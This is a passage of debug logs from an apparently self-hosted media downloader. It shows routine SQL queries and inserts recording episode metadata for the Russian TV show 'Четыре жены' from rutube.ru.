s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:06.494 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=308.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:06.495 [debug] QUERY OK source="media_items" db=0.3ms idle=309.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76324] 20:59:06.496 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "duration" => 6176, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", "id" => "a29c461295ef58c5be2dbbc4b51b1885", "original_url" => "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", "playlist_index" => 2, "timestamp" => 1685630410, "title" => "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "upload_date" => "20230601"} 20:59:06.497 [debug] QUERY OK source="sources" db=0.7ms idle=306.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:06.498 [debug] QUERY OK source="sources" db=0.4ms idle=17.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:06.500 [debug] QUERY OK source="media_items" db=1.6ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-01 14:40:10Z], 6] 20:59:06.699 [debug] QUERY OK source="media_items" db=196.1ms queue=0.1ms idle=8.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "b52ec420-e9dd-4229-aa4c-19bcbf700820", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", 2, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, false, false, 6, [], 1, ~U[2023-06-01 14:40:10Z], ~U[2025-12-08 17:59:06Z], ~U[2025-12-08 17:59:06Z], "Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, 6, ~U[2023-06-01 14:40:10Z]] 20:59:06.711 [debug] QUERY OK source="sources" db=11.7ms queue=0.1ms idle=201.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:06.712 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=213.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:06.713 [debug] QUERY OK source="media_items" db=0.6ms idle=212.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76325] 20:59:06.715 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "duration" => 6999, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", "id" => "43416b12e7f3afe0c5f6151679f2b6d2", "original_url" => "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", "playlist_index" => 3, "timestamp" => 1686235204, "title" => "Четыре жены: Пофигистка, муза, современная и супер-жена", "upload_date" => "20230608"} 20:59:06.717 [debug] QUERY OK source="sources" db=0.6ms idle=35.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:06.717 [debug] QUERY OK source="sources" db=0.2ms idle=18.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:06.719 [debug] QUERY OK source="media_items" db=0.6ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-08 14:40:04Z], 6] 20:59:06.826 [debug] QUERY OK source="media_items" db=106.7ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "ab26bdbf-9876-446d-b7d0-fa1a02434fcf", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", 3, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-08 14:40:04Z], ~U[2025-12-08 17:59:06Z], ~U[2025-12-08 17:59:06Z], "Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, 6, ~U[2023-06-08 14:40:04Z]] 20:59:06.833 [debug] QUERY OK source="sources" db=5.6ms queue=0.2ms idle=113.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:06.834 [debug] QUERY OK source="media_profiles" db=0.7ms idle=116.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:06.836 [debug] QUERY OK source="media_items" db=1.0ms idle=117.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76326] 20:59:06.836 [debug] Current batch of media processed. Will check again in 1000ms 20:59:07.837 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "duration" => 6701, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", "id" => "cb4ee596655824668ef87ae504f1e5dd", "original_url" => "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", "playlist_index" => 4, "timestamp" => 1686838815, "title" => "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "upload_date" => "20230615"} 20:59:07.840 [debug] QUERY OK source="sources" db=0.5ms idle=1013.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:07.840 [debug] QUERY OK source="sources" db=0.5ms idle=1007.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:07.842 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-15 14:20:15Z], 6] 20:59:07.955 [debug] QUERY OK source="media_items" db=112.4ms queue=0.2ms idle=1006.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "bab69d43-1776-4e78-b7a1-6ad0c6f0f6a3", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", 4, "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, false, false, 6, [], 1, ~U[2023-06-15 14:20:15Z], ~U[2025-12-08 17:59:07Z], ~U[2025-12-08 17:59:07Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, 6, ~U[2023-06-15 14:20:15Z]] 20:59:07.966 [debug] QUERY OK source="sources" db=10.0ms idle=273.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:07.966 [debug] QUERY OK source="media_profiles" db=0.2ms idle=126.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:07.967 [debug] QUERY OK source="media_items" db=0.6ms idle=126.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76327] 20:59:07.968 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "duration" => 7469, "filename" => "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", "id" => "b6b301e84fb7442e453d9be85b871b0d", "original_url" => "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", "playlist_index" => 5, "timestamp" => 1687444916, "title" => "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "upload_date" => "20230622"} 20:59:07.969 [debug] QUERY OK source="sources" db=0.7ms idle=126.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:07.970 [debug] QUERY OK source="sources" db=0.8ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:07.971 [debug] QUERY OK source="media_items" db=0.3ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 14:41:56Z], 6] 20:59:08.135 [debug] QUERY OK source="media_items" db=163.3ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "62c437d5-a3d2-46c2-8416-34f75f6cdd3b", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", 5, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, false, false, 6, [], 1, ~U[2023-06-22 14:41:56Z], ~U[2025-12-08 17:59:07Z], ~U[2025-12-08 17:59:07Z], "Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть 